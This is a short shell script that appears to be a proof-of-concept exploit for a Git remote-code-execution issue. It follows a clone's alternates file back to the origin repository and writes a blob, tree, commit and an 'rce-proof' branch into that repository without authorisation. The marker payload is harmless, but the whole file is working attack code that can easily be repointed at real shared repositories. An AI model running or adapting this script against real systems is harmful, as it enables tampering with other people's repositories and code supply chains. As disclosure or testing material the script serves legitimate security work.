#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
  /*) ;;
  *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$(printf 3105 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0